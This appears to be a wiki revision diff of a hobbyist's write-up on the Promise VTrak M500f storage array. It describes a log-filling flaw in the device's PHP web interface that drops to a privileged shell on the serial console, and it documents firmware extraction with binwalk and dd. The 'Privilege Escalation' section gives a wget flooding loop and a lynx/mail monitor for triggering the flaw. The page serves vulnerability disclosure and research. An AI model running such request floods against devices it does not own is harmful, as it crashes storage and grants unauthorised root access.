|
|
(72 intermediate revisions by the same user not shown) |
Line 1: |
Line 1: |
| === Promise Technology VTrak M500f === | | {{TOCright|limit=2|width=500}} |
| | == Exploit == |
| | I'm using a Promise VTrak M500f storage at work, and every couple of weeks it crashes. Updating to the latest firmware didn't help much. |
| | |
| | It always starts with the device's webserver being unresponsive, and not much later the whole device just breaking down. |
| | |
| | Usually, when i notice that the device starts to act up again, i just reboot it and it's fine for the next couple of weeks. |
| | |
| | To do this, i log in on the serial console and run: |
| | |
| | <pre> |
| | administrator@cli> shutdown -a restart |
| | </pre> |
| | So the last time this happened, i noticed something is different with the CLI over serial console... it was... way more interesting! |
| | |
| | |
| | |
| | === Oh, exploitable! === |
| | Here's one of the problem sources: in line 23 and 24 of ''/islavista/sw/php/promise/language.php'', which is included in the code that's executed when you access the device's WebPAM PROe webinterface, PHP is told to get the language of the user's browser from a header that the browser sends on each request. |
| | |
| | No problem there, your browser provides this header, so you probably won't ever see any error from this code. |
| | |
| | But if you're using a monitoring tool like Nagios, to check if the webinterface is still alive, your Nagios check doesn't send that header and PHP will throw an error of the level E_NOTICE. |
| | |
| | <pre> |
| | $ php -a |
| | Interactive mode enabled |
| | |
| | <?php |
| | preg_match('/^([a-z\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches); |
| | $lang=$matches[1]; |
| | switch(substr($lang,0,2)) |
| | { |
| | case 'en': |
| | $language='en_US'; |
| | break; |
| | // [...] |
| | default: |
| | $language='en_US'; |
| | break; |
| | } |
| | ?> |
| | PHP Notice: Undefined index: HTTP_ACCEPT_LANGUAGE in - on line 2 |
| | PHP Notice: Undefined offset: 1 in - on line 3 |
| | </pre> |
| | |
| | Of course, being the good developer that you are, you hide those errors, should they ever arise at all, from the user - and only write them to a logfile somewhere on your device's internal flash. |
| | |
| | <pre> |
| | [08-Jul-2011 19:52:24] PHP Notice: Undefined index: HTTP_ACCEPT_LANGUAGE in /islavista/sw/php/promise/language.php on line 23 |
| | [08-Jul-2011 19:52:24] PHP Notice: Undefined offset: 1 in /islavista/sw/php/promise/language.php on line 24 |
| | [08-Jul-2011 19:52:26] PHP Notice: Undefined index: HTTP_HOST in /islavista/sw/php/promise/index.php on line 182 |
| | </pre> |
| | |
| | Being a bit unsure yourself of how good of a developer you really are, you tell PHP in its config file ''/islavista/conf/sw/php.ini'' to not only log real errors of the levels E_WARNING or E_ERROR, or like the healthy default recommends, "E_ALL & ~E_NOTICE" (everything except E_NOTICE)... no, you want them all, so you can write impeccable code! |
| | |
| | Have you ever wondered why it's called "default" setting? The De-Fault setting? Also known as the "Please don't break anything!" setting? You'll find out soon. |
| | |
| | So, your Nagios checks the webserver every 5 minutes, every hour of the day, every day of the week, etc., and every time there are a couple of lines appended to the logfile, because you want to be in control an see each and any issue in you code. |
| | |
| | Now what would you think will happen if that logfile gets so big that there is no space left on that flash? |
| | |
| | I can tell you what will happen: |
| | <pre> |
| | islavista> _ |
| | </pre> |
| | |
| | When i told Promise about the issue, one of their support engineers had only this to say: |
| | <pre> |
| | "I just can repeat [to] you one more time, you should not even know the word 'islavista' related to this device." |
| | </pre> |
| | |
| | Okay, that was a lie, it wasn't the only thing he said. He added: |
| | <pre> |
| | "You need a new controller." |
| | </pre> |
| | O RLY? I don't think that replacing '''my''' hardware will fix an issue in '''your''' firmware. |
| | |
| | (Speaking of which, i'm still unsure if i should publish the whole conversation via their ticketing system, that will be pretty embarassing for them... they tried to convince me that my hardware is faulty and needs to be replaced. Yeah, right.) |
| | |
| | |
| | |
| | === Privilege Escalation === |
| | The 3 lines per request equal 354 Bytes of text, and my storage crashed when the logfile was roughly 3.5 MB in size, so in theory ~10.000 requests are all that's needed for this exploit to work its magic. |
| | |
| | Nagios checks every 5 minutes, that's 288 requests per day, which means that after ~35 days the log should have filled all available space. |
| | |
| | Can we speed this up? Yes, we can. A ''wget'' request to the webinterface takes me an average of 6 seconds, so with the following simple script i can get ~14400 requests per day, which means it takes ~17 hours fill all available space. |
| | <pre> |
| | $ while [ true ]; do wget -O /dev/null "http://192.168.0.2"; done |
| | </pre> |
| | Check the webinterface from time to time, when you see an PHP error that it couldn't write it's session because /tmp is full, you're golden! Fire up you serial console and enjoy. |
| | |
| | You can automate this, too: |
| | <pre> |
| | $ while [ true ]; do if `lynx --dump "http://192.168.0.2/" | grep -q "tmp"`; then echo "EOF" | mail -s 'Exploit ready!' you@example.com; break; fi; done |
| | </pre> |
| | |
| | === Remote Privilege Escalation, too? === |
| | Still unconfirmed, but in theory this should also work over Telnet instead of the serial console, provided that Telnet is enabled on the device. |
| | |
| | |
| | |
| | |
| | == Firmware == |
| | |
| | |
| | === Getting Started === |
| | |
| | Download the most recent firmware, at the time of this writing it was v2.39, and also make sure you have ''binwalk'' installed, an incredibly helpful tool when analyzing firmware files: |
| | |
| *Download Page: http://firstweb.promise.com/support/download/download2_eng.asp?productID=153&category=all&os=100 | | *Download Page: http://firstweb.promise.com/support/download/download2_eng.asp?productID=153&category=all&os=100 |
| *Link to Firmware: http://firstweb.promise.com/upload/Support/Firmware/Mx00_series_v2.39.0000.00_with_notes.zip | | *Firmware: http://firstweb.promise.com/upload/Support/Firmware/Mx00_series_v2.39.0000.00_with_notes.zip |
| *Link to binwalk: http://code.google.com/p/binwalk/ | | *binwalk: http://code.google.com/p/binwalk/ |
|
| |
|
| | |
| | |
| | === Analyzing the Firmware file === |
| | Use binwalk to look for the addresses of files within the firmware file: |
| <pre> | | <pre> |
| binwalk -v iv2p_all_20110303_16mb.img | | $ binwalk -v iv2p_all_20110303_16mb.img |
| </pre> | | </pre> |
| | |
| | This gives you a nice table with the decimal offset of each file in the firmware, and also the most likely format of this file: |
| <pre> | | <pre> |
| Scan Time: Aug 03, 2011 @ 20:13:21 | | Scan Time: Aug 03, 2011 @ 20:13:21 |
Line 17: |
Line 133: |
| ------------------------------------------------------------------------------------------------------- | | ------------------------------------------------------------------------------------------------------- |
| 18204 0x471C gzip compressed data, from Unix, last modified: Thu Apr 20 05:12:30 2006, max compression | | 18204 0x471C gzip compressed data, from Unix, last modified: Thu Apr 20 05:12:30 2006, max compression |
| 871968 0xD4E20 Linux Compressed ROM filesystem data, little endian size 2584576 version #2 sorted_dirs CRC 0xeeb623f0, edition 0, 1217 blocks, 7 files | | 871968 0xD4E20 Linux Compressed ROM filesystem data, little endian size 2584576 version #2 sorted_dirs, CRC 0xeeb623f0, edition 0, 1217 blocks, 7 files |
| 3456544 0x34BE20 Linux Compressed ROM filesystem data, little endian size 3231744 version #2 sorted_dirs CRC 0xf1e0771a, edition 0, 2870 blocks, 946 files | | 3456544 0x34BE20 Linux Compressed ROM filesystem data, little endian size 3231744 version #2 sorted_dirs, CRC 0xf1e0771a, edition 0, 2870 blocks, 946 files |
| 3528967 0x35D907 bzip2 compressed data | | 3528967 0x35D907 bzip2 compressed data |
| 6688288 0x660E20 gzip compressed data, from Unix, last modified: Thu Mar 3 03:51:40 2011, max compression | | 6688288 0x660E20 gzip compressed data, from Unix, last modified: Thu Mar 3 03:51:40 2011, max compression |
| 11309493 0xAC91B5 Linux Compressed ROM filesystem data, little endian size 1277952 version #2 sorted_dirs CRC 0x477edaab, edition 0, 802 blocks, 142 files | | 11309493 0xAC91B5 Linux Compressed ROM filesystem data, little endian size 1277952 version #2 sorted_dirs, CRC 0x477edaab, edition 0, 802 blocks, 142 files |
| 12882033 0xC49071 LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes | | 12882033 0xC49071 LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes |
| 13215338 0xC9A66A LZMA compressed data, properties: 0x85, dictionary size: 740294656 bytes, uncompressed size: 16388 bytes | | 13215338 0xC9A66A LZMA compressed data, properties: 0x85, dictionary size: 740294656 bytes, uncompressed size: 16388 bytes |
Line 31: |
Line 147: |
| 13221354 0xC9BDEA LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes | | 13221354 0xC9BDEA LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes |
| </pre> | | </pre> |
| ==== part 1 ==== | | |
| | === Extracting the Firmware parts === |
| | |
| | The principle is pretty simple: use ''dd'' to read a segment from the firmware (if=), using a blocksize (bs=) of 1, starting (skip=) at the decimal offset of the file you want, with a length (count=) of "the next file's offset minus this file's offset" and write it to an ouput file (of=). It makes it a lot easier if you give the output file the extension of the filetype that binwalk tells you. |
| | |
| | |
| | |
| | ==== Part 1 ==== |
| <pre> | | <pre> |
| dd if=iv2p_all_20110303_16mb.img bs=1 skip=18204 count=853764 of=part1.gz | | $ dd if=iv2p_all_20110303_16mb.img bs=1 skip=18204 count=853764 of=part1.gz |
| gunzip part1.gz | | $ gunzip part1.gz |
| file part1 | | $ file part1 |
| </pre> | | </pre> |
| <pre> | | <pre> |
| part1: data | | part1: data |
| </pre> | | </pre> |
| | Probably the kernel and initrd? |
|
| |
|
| ==== part 2 ==== | | |
| | |
| | ==== Part 2 ==== |
| <pre> | | <pre> |
| dd if=iv2p_all_20110303_16mb.img bs=1 skip=871968 count=2584576 of=part2.cramfs | | $ dd if=iv2p_all_20110303_16mb.img bs=1 skip=871968 count=2584576 of=part2.cramfs |
| mkdir part2 | | $ mkdir part2 |
| mount -o loop parts2.cramfs part2/ | | $ mount -o loop parts2.cramfs part2/ |
| ls -l part2/ | | $ ls -l part2/ |
| </pre> | | </pre> |
| <pre> | | <pre> |
Line 57: |
Line 183: |
| -rw-r--r-- 1 root root 619697 Jan 1 1970 xfc.o | | -rw-r--r-- 1 root root 619697 Jan 1 1970 xfc.o |
| </pre> | | </pre> |
| | Kernel modules, boooring! |
|
| |
|
| ==== part 3 ==== | | |
| | |
| | ==== Part 3 ==== |
| <pre> | | <pre> |
| dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=72423 of=part3.cramfs | | $ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=72423 of=part3.cramfs |
| mount -o loop part3.cramfs part3/ | | $ mount -o loop part3.cramfs part3/ |
| ls -lR part3/ | | $ ls -lR part3/ |
| </pre> | | </pre> |
| <pre>
| | [[Promise VTrak M500f Firmware/part3|Full contents of Part 3]] |
| part3/: | |
| total 2
| |
| drwxr-xr-x 1 root root 356 Jan 1 1970 bin
| |
| drwxr-xr-x 1 root root 508 Jan 1 1970 lib
| |
| drwxr-xr-x 1 root root 40 Jan 1 1970 pegasus
| |
| drwxr-xr-x 1 root root 44 Jan 1 1970 php
| |
|
| |
|
| part3/bin:
| | The webinterface and some non-standard binaries, so this must be their own code. |
| total 1315
| |
| -rwxr-xr-x 1 root root 35848 Jan 1 1970 bgasched | |
| -rwxr-xr-x 1 root root 21292 Jan 1 1970 clitest
| |
| -rwxr-xr-x 1 root root 154612 Jan 1 1970 diag
| |
| -rwxr-xr-x 1 root root 17676 Jan 1 1970 emaild
| |
| -rwxr-xr-x 1 root root 139948 Jan 1 1970 i2
| |
| -rwxr-xr-x 1 root root 118768 Jan 1 1970 ivconfig
| |
| -rwxr-xr-x 1 root root 100188 Jan 1 1970 ivdump
| |
| -rwxr-xr-x 1 root root 302052 Jan 1 1970 ivutil
| |
| -rwxr-xr-x 1 root root 21064 Jan 1 1970 netsendd
| |
| -rwxr-xr-x 1 root root 8188 Jan 1 1970 netstart
| |
| -rwxr-xr-x 1 root root 108936 Jan 1 1970 ptiflash
| |
| -rwxr-xr-x 1 root root 182940 Jan 1 1970 RS2DDF
| |
| -rwxr-xr-x 1 root root 19440 Jan 1 1970 slpa
| |
| -rwxr-xr-x 1 root root 10336 Jan 1 1970 slpua
| |
| -rwxr-xr-x 1 root root 90612 Jan 1 1970 sr3update
| |
| -rwxr-xr-x 1 root root 215 Jan 1 1970 stopsw
| |
| -rwxr-xr-x 1 root root 10544 Jan 1 1970 swmgt
| |
| -rwxr-xr-x 1 root root 229 Jan 1 1970 swmgtwrapper
| |
|
| |
|
| part3/lib:
| | When accessing a file you'll get an error, though. Quick check: |
| total 4727
| | <pre> |
| -rwxr-xr-x 1 root root 1465692 Jan 1 1970 libclieng.so
| | $ fsck.cramfs part3.cramfs |
| -rwxr-xr-x 1 root root 96092 Jan 1 1970 libencrypt.so
| | </pre> |
| -rwxr-xr-x 1 root root 7892 Jan 1 1970 libeventstr.so
| | <pre> |
| -rwxr-xr-x 1 root root 6740 Jan 1 1970 libflash.so
| | fsck.cramfs: file length too short |
| -rwxr-xr-x 1 root root 4840 Jan 1 1970 libipaddr.so
| | </pre> |
| -rwxr-xr-x 1 root root 19504 Jan 1 1970 libparseXML.so
| | Damn. |
| -rwxr-xr-x 1 root root 12692 Jan 1 1970 libprconfig.so
| |
| -rwxr-xr-x 1 root root 224784 Jan 1 1970 libprdecode.so
| |
| -rwxr-xr-x 1 root root 12832 Jan 1 1970 libprdefaults.so
| |
| -rwxr-xr-x 1 root root 229360 Jan 1 1970 libpri2apiv4.so
| |
| -rwxr-xr-x 1 root root 94360 Jan 1 1970 libproem.so
| |
| -rwxr-xr-x 1 root root 119036 Jan 1 1970 libproerrlog.so
| |
| -rwxr-xr-x 1 root root 538984 Jan 1 1970 libPromiseProvider.so
| |
| -rwxr-xr-x 1 root root 325268 Jan 1 1970 libsmtp.so
| |
| -rwxr-xr-x 1 root root 97768 Jan 1 1970 libswmgt.so
| |
| -rwxr-xr-x 1 root root 50140 Jan 1 1970 libswsetting.so
| |
| -rwxr-xr-x 1 root root 951604 Jan 1 1970 libxml2.so
| |
| -rwxr-xr-x 1 root root 346992 Jan 1 1970 phpi2.so
| |
| -rwxr-xr-x 1 root root 230756 Jan 1 1970 ptIslaVistaSystem.so
| |
|
| |
|
| part3/pegasus:
| |
| total 1
| |
| drwxr-xr-x 1 root root 148 Jan 1 1970 conf
| |
| drwxr-xr-x 1 root root 84 Jan 1 1970 repository
| |
|
| |
|
| part3/pegasus/conf:
| |
| total 6
| |
| -rwxr--r-- 1 root root 891 Jan 1 1970 cert.pem
| |
| -rwxr--r-- 1 root root 18 Jan 1 1970 cimserver.passwd
| |
| -rwxr--r-- 1 root root 1427 Jan 1 1970 cimserver_planned.conf
| |
| -rwxr--r-- 1 root root 1436 Jan 1 1970 client.pem
| |
| -rwxr--r-- 1 root root 497 Jan 1 1970 key.pem
| |
| -rwxr--r-- 1 root root 562 Jan 1 1970 ssl.cnf
| |
|
| |
|
| part3/pegasus/repository:
| | ==== Part 4 ==== |
| total 2
| | <pre> |
| drwxr-xr-x 1 root root 68 Jan 1 1970 root#PG_Internal
| | $ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3528967 count=3159321 of=part4.bz2 |
| drwxr-xr-x 1 root root 68 Jan 1 1970 root#PG_InterOp
| | $ bunzip2 part4.bz2 |
| drwxr-xr-x 1 root root 68 Jan 1 1970 root#PromiseTech
| | </pre> |
| | <pre> |
| | bunzip2: part4.bz2 is not a bzip2 file. |
| | </pre> |
| | Hmm, strange. |
|
| |
|
| part3/pegasus/repository/root#PG_Internal:
| |
| total 3
| |
| drwxr-xr-x 1 root root 200 Jan 1 1970 classes
| |
| drwxr-xr-x 1 root root 56 Jan 1 1970 instances
| |
| drwxr-xr-x 1 root root 1352 Jan 1 1970 qualifiers
| |
|
| |
|
| part3/pegasus/repository/root#PG_Internal/classes:
| |
| total 13
| |
| -rw-r--r-- 1 root root 1212 Jan 1 1970 PG_Authorization.#
| |
| -rw-r--r-- 1 root root 1529 Jan 1 1970 PG_ConfigSetting.#
| |
| -rw-r--r-- 1 root root 1172 Jan 1 1970 PG_ShutdownService.#
| |
| -rw-r--r-- 1 root root 3937 Jan 1 1970 PG_SSLCertificate.#
| |
| -rw-r--r-- 1 root root 2053 Jan 1 1970 PG_SSLCertificateRevocationList.#
| |
| -rw-r--r-- 1 root root 1458 Jan 1 1970 PG_User.#
| |
|
| |
|
| part3/pegasus/repository/root#PG_Internal/instances:
| | ==== Part 5 ==== |
| total 3
| | <pre> |
| -rw------- 1 root root 361 Jan 1 1970 PG_User.idx | | $ dd if=iv2p_all_20110303_16mb.img bs=1 skip=6688288 count=4621205 of=part5.gz |
| -rw------- 1 root root 1935 Jan 1 1970 PG_User.instances | | $ gunzip part5.gz |
| | $ file part5 |
| | </pre> |
| | <pre> |
| | part5: Linux rev 1.0 ext2 filesystem data, UUID=1e4f9d2b-b406-4a38-bbf8-8f1fcf52e5c7 |
| | </pre> |
| | So it's a gzip, but that contains an ext2 partition. |
| | <pre> |
| | $ mv part5 part5.ext2 |
| | $ mkdir part5 |
| | $ mount -o loop part5.ext2 part5/ |
| | $ ls -lR part5/ |
| | </pre> |
| | [[Promise VTrak M500f Firmware/part5|Full contents of Part 5]] |
|
| |
|
| part3/pegasus/repository/root#PG_Internal/qualifiers:
| | BusyBox, libraries, you name it. This must be the base Linux part. |
| total 31
| |
| -rw-r--r-- 1 root root 178 Jan 1 1970 Abstract
| |
| -rw-r--r-- 1 root root 147 Jan 1 1970 Aggregate
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 Aggregation
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 Alias
| |
| -rw-r--r-- 1 root root 160 Jan 1 1970 ArrayType
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 ASSOCIATION
| |
| -rw-r--r-- 1 root root 147 Jan 1 1970 BitMap
| |
| -rw-r--r-- 1 root root 170 Jan 1 1970 BitValues
| |
| -rw-r--r-- 1 root root 154 Jan 1 1970 CLASS
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 Composition
| |
| -rw-r--r-- 1 root root 155 Jan 1 1970 Counter
| |
| -rw-r--r-- 1 root root 143 Jan 1 1970 Delete
| |
| -rw-r--r-- 1 root root 237 Jan 1 1970 Deprecated
| |
| -rw-r--r-- 1 root root 224 Jan 1 1970 Description
| |
| -rw-r--r-- 1 root root 224 Jan 1 1970 DisplayName
| |
| -rw-r--r-- 1 root root 170 Jan 1 1970 DN
| |
| -rw-r--r-- 1 root root 182 Jan 1 1970 EmbeddedObject
| |
| -rw-r--r-- 1 root root 179 Jan 1 1970 Exception
| |
| -rw-r--r-- 1 root root 224 Jan 1 1970 Expensive
| |
| -rw-r--r-- 1 root root 246 Jan 1 1970 Experimental
| |
| -rw-r--r-- 1 root root 153 Jan 1 1970 Gauge
| |
| -rw-r--r-- 1 root root 146 Jan 1 1970 Ifdeleted
| |
| -rw-r--r-- 1 root root 139 Jan 1 1970 In
| |
| -rw-r--r-- 1 root root 162 Jan 1 1970 INDICATION
| |
| -rw-r--r-- 1 root root 189 Jan 1 1970 Invisible
| |
| -rw-r--r-- 1 root root 157 Jan 1 1970 Key
| |
| -rw-r--r-- 1 root root 135 Jan 1 1970 Large
| |
| -rw-r--r-- 1 root root 222 Jan 1 1970 MappingStrings
| |
| -rw-r--r-- 1 root root 99 Jan 1 1970 Max
| |
| -rw-r--r-- 1 root root 132 Jan 1 1970 MaxLen
| |
| -rw-r--r-- 1 root root 134 Jan 1 1970 MaxValue
| |
| -rw-r--r-- 1 root root 116 Jan 1 1970 Min
| |
| -rw-r--r-- 1 root root 149 Jan 1 1970 MinLen
| |
| -rw-r--r-- 1 root root 134 Jan 1 1970 MinValue
| |
| -rw-r--r-- 1 root root 227 Jan 1 1970 ModelCorrespondence
| |
| -rw-r--r-- 1 root root 104 Jan 1 1970 Nonlocal
| |
| -rw-r--r-- 1 root root 108 Jan 1 1970 NonlocalType
| |
| -rw-r--r-- 1 root root 124 Jan 1 1970 NullValue
| |
| -rw-r--r-- 1 root root 179 Jan 1 1970 Octetstring
| |
| -rw-r--r-- 1 root root 141 Jan 1 1970 Out
| |
| -rw-r--r-- 1 root root 154 Jan 1 1970 Override
| |
| -rw-r--r-- 1 root root 125 Jan 1 1970 Propagated
| |
| -rw-r--r-- 1 root root 138 Jan 1 1970 PropertyUsage
| |
| -rw-r--r-- 1 root root 201 Jan 1 1970 Provider
| |
| -rw-r--r-- 1 root root 120 Jan 1 1970 Read
| |
| -rw-r--r-- 1 root root 179 Jan 1 1970 Required
| |
| -rw-r--r-- 1 root root 157 Jan 1 1970 Revision
| |
| -rw-r--r-- 1 root root 135 Jan 1 1970 Source
| |
| -rw-r--r-- 1 root root 156 Jan 1 1970 SourceType
| |
| -rw-r--r-- 1 root root 157 Jan 1 1970 Static
| |
| -rw-r--r-- 1 root root 149 Jan 1 1970 Syntax
| |
| -rw-r--r-- 1 root root 153 Jan 1 1970 SyntaxType
| |
| -rw-r--r-- 1 root root 159 Jan 1 1970 Terminal
| |
| -rw-r--r-- 1 root root 187 Jan 1 1970 TriggerType
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 Units
| |
| -rw-r--r-- 1 root root 143 Jan 1 1970 UnknownValues
| |
| -rw-r--r-- 1 root root 147 Jan 1 1970 UnsupportedValues
| |
| -rw-r--r-- 1 root root 149 Jan 1 1970 ValueMap
| |
| -rw-r--r-- 1 root root 167 Jan 1 1970 Values
| |
| -rw-r--r-- 1 root root 175 Jan 1 1970 Version
| |
| -rw-r--r-- 1 root root 160 Jan 1 1970 Weak
| |
| -rw-r--r-- 1 root root 122 Jan 1 1970 Write
| |
|
| |
|
| part3/pegasus/repository/root#PG_InterOp:
| | ==== Part 6 ==== |
| total 10
| | <pre> |
| drwxr-xr-x 1 root root 8116 Jan 1 1970 classes
| | $ dd if=iv2p_all_20110303_16mb.img bs=1 skip=11309493 count=1572540 of=part6.cramfs |
| drwxr-xr-x 1 root root 228 Jan 1 1970 instances
| | $ mkdir part6/ |
| drwxr-xr-x 1 root root 1352 Jan 1 1970 qualifiers
| | $ mount -o loop part6.cramfs part6/ |
| | $ ls -lR part6/ |
| | </pre> |
| | [[Promise VTrak M500f Firmware/part6|Full contents of Part 6]] |
|
| |
|
| part3/pegasus/repository/root#PG_InterOp/classes:
| | '''fw''' and '''sw''', this is probably the interesting stuff? But where's the /islavista/conf/sw/php.ini? |
| total 397
| |
| -rw-r--r-- 1 root root 13856 Jan 1 1970 associations
| |
| -rw-r--r-- 1 root root 1896 Jan 1 1970 CIM_ActiveConnection.CIM_SAPSAPDependency
| |
| -rw-r--r-- 1 root root 772 Jan 1 1970 CIM_ActsAsSpare.#
| |
| -rw-r--r-- 1 root root 6061 Jan 1 1970 CIM_AdminDomain.CIM_System
| |
| -rw-r--r-- 1 root root 5545 Jan 1 1970 CIM_AlertIndication.CIM_ProcessIndication
| |
| -rw-r--r-- 1 root root 6279 Jan 1 1970 CIM_AlertInstIndication.CIM_AlertIndication
| |
| -rw-r--r-- 1 root root 1204 Jan 1 1970 CIM_BasedOn.CIM_Dependency
| |
| -rw-r--r-- 1 root root 964 Jan 1 1970 CIM_BindsTo.CIM_SAPSAPDependency
| |
| -rw-r--r-- 1 root root 1034 Jan 1 1970 CIM_Capabilities.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1256 Jan 1 1970 CIM_ClassCreation.CIM_ClassIndication
| |
| -rw-r--r-- 1 root root 1256 Jan 1 1970 CIM_ClassDeletion.CIM_ClassIndication
| |
| -rw-r--r-- 1 root root 1330 Jan 1 1970 CIM_ClassIndication.CIM_Indication
| |
| -rw-r--r-- 1 root root 1563 Jan 1 1970 CIM_ClassModification.CIM_ClassIndication
| |
| -rw-r--r-- 1 root root 932 Jan 1 1970 CIM_CollectedCollections.#
| |
| -rw-r--r-- 1 root root 1180 Jan 1 1970 CIM_CollectedMSEs.CIM_MemberOfCollection
| |
| -rw-r--r-- 1 root root 674 Jan 1 1970 CIM_Collection.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 733 Jan 1 1970 CIM_CollectionConfiguration.#
| |
| -rw-r--r-- 1 root root 841 Jan 1 1970 CIM_CollectionOfMSEs.CIM_Collection
| |
| -rw-r--r-- 1 root root 703 Jan 1 1970 CIM_CollectionSetting.#
| |
| -rw-r--r-- 1 root root 807 Jan 1 1970 CIM_CompatibleProduct.#
| |
| -rw-r--r-- 1 root root 985 Jan 1 1970 CIM_Component.#
| |
| -rw-r--r-- 1 root root 767 Jan 1 1970 CIM_ConcreteCollection.CIM_Collection
| |
| -rw-r--r-- 1 root root 1171 Jan 1 1970 CIM_ConcreteComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 963 Jan 1 1970 CIM_ConcreteDependency.CIM_Dependency
| |
| -rw-r--r-- 1 root root 986 Jan 1 1970 CIM_ConcreteIdentity.CIM_LogicalIdentity
| |
| -rw-r--r-- 1 root root 9002 Jan 1 1970 CIM_ConcreteJob.CIM_Job
| |
| -rw-r--r-- 1 root root 827 Jan 1 1970 CIM_Configuration.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 926 Jan 1 1970 CIM_ConfigurationComponent.#
| |
| -rw-r--r-- 1 root root 1214 Jan 1 1970 CIM_ConfigurationForSystem.CIM_HostedDependency
| |
| -rw-r--r-- 1 root root 1169 Jan 1 1970 CIM_ContainedDomain.CIM_SystemComponent
| |
| -rw-r--r-- 1 root root 1325 Jan 1 1970 CIM_ContainedLocation.CIM_Component
| |
| -rw-r--r-- 1 root root 929 Jan 1 1970 CIM_DefaultSetting.CIM_ElementSetting
| |
| -rw-r--r-- 1 root root 784 Jan 1 1970 CIM_Dependency.#
| |
| -rw-r--r-- 1 root root 899 Jan 1 1970 CIM_DependencyContext.#
| |
| -rw-r--r-- 1 root root 971 Jan 1 1970 CIM_DeviceSAPImplementation.CIM_Dependency
| |
| -rw-r--r-- 1 root root 964 Jan 1 1970 CIM_DeviceServiceImplementation.CIM_Dependency
| |
| -rw-r--r-- 1 root root 2816 Jan 1 1970 CIM_DeviceStatisticalInformation.CIM_StatisticalInformation
| |
| -rw-r--r-- 1 root root 1204 Jan 1 1970 CIM_DeviceStatistics.CIM_Statistics
| |
| -rw-r--r-- 1 root root 855 Jan 1 1970 CIM_ElementCapabilities.#
| |
| -rw-r--r-- 1 root root 725 Jan 1 1970 CIM_ElementConfiguration.#
| |
| -rw-r--r-- 1 root root 702 Jan 1 1970 CIM_ElementLocation.#
| |
| -rw-r--r-- 1 root root 696 Jan 1 1970 CIM_ElementProfile.#
| |
| -rw-r--r-- 1 root root 695 Jan 1 1970 CIM_ElementSetting.#
| |
| -rw-r--r-- 1 root root 900 Jan 1 1970 CIM_ElementSettingData.#
| |
| -rw-r--r-- 1 root root 1498 Jan 1 1970 CIM_ElementSoftwareIdentity.CIM_Dependency
| |
| -rw-r--r-- 1 root root 860 Jan 1 1970 CIM_ElementStatisticalData.#
| |
| -rw-r--r-- 1 root root 4249 Jan 1 1970 CIM_EnabledLogicalElement.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 1196 Jan 1 1970 CIM_ExtentRedundancyComponent.CIM_RedundancyComponent
| |
| -rw-r--r-- 1 root root 2905 Jan 1 1970 CIM_ExtraCapacityGroup.CIM_RedundancyGroup
| |
| -rw-r--r-- 1 root root 2383 Jan 1 1970 CIM_FRU.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1050 Jan 1 1970 CIM_FRUIncludesProduct.#
| |
| -rw-r--r-- 1 root root 1061 Jan 1 1970 CIM_FRUPhysicalElements.#
| |
| -rw-r--r-- 1 root root 1208 Jan 1 1970 CIM_HostedAccessPoint.CIM_HostedDependency
| |
| -rw-r--r-- 1 root root 1103 Jan 1 1970 CIM_HostedCollection.CIM_HostedDependency
| |
| -rw-r--r-- 1 root root 1028 Jan 1 1970 CIM_HostedDependency.CIM_Dependency
| |
| -rw-r--r-- 1 root root 1193 Jan 1 1970 CIM_HostedService.CIM_HostedDependency
| |
| -rw-r--r-- 1 root root 949 Jan 1 1970 CIM_Indication.#
| |
| -rw-r--r-- 1 root root 2156 Jan 1 1970 CIM_IndicationFilter.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 2704 Jan 1 1970 CIM_IndicationHandler.CIM_ListenerDestination
| |
| -rw-r--r-- 1 root root 2994 Jan 1 1970 CIM_IndicationHandlerCIMXML.CIM_IndicationHandler
| |
| -rw-r--r-- 1 root root 2885 Jan 1 1970 CIM_IndicationSubscription.#
| |
| -rw-r--r-- 1 root root 732 Jan 1 1970 CIM_InstalledSoftwareIdentity.#
| |
| -rw-r--r-- 1 root root 1252 Jan 1 1970 CIM_InstCreation.CIM_InstIndication
| |
| -rw-r--r-- 1 root root 1252 Jan 1 1970 CIM_InstDeletion.CIM_InstIndication
| |
| -rw-r--r-- 1 root root 1327 Jan 1 1970 CIM_InstIndication.CIM_Indication
| |
| -rw-r--r-- 1 root root 2046 Jan 1 1970 CIM_InstMethodCall.CIM_InstIndication
| |
| -rw-r--r-- 1 root root 1551 Jan 1 1970 CIM_InstModification.CIM_InstIndication
| |
| -rw-r--r-- 1 root root 1248 Jan 1 1970 CIM_InstRead.CIM_InstIndication
| |
| -rw-r--r-- 1 root root 7484 Jan 1 1970 CIM_Job.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 2233 Jan 1 1970 CIM_ListenerDestination.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 2454 Jan 1 1970 CIM_ListenerDestinationCIMXML.CIM_ListenerDestination
| |
| -rw-r--r-- 1 root root 1230 Jan 1 1970 CIM_LocalizationCapabilities.CIM_Capabilities
| |
| -rw-r--r-- 1 root root 1222 Jan 1 1970 CIM_Location.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 11409 Jan 1 1970 CIM_LogicalDevice.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 2225 Jan 1 1970 CIM_LogicalElement.CIM_ManagedSystemElement
| |
| -rw-r--r-- 1 root root 804 Jan 1 1970 CIM_LogicalIdentity.#
| |
| -rw-r--r-- 1 root root 591 Jan 1 1970 CIM_ManagedElement.#
| |
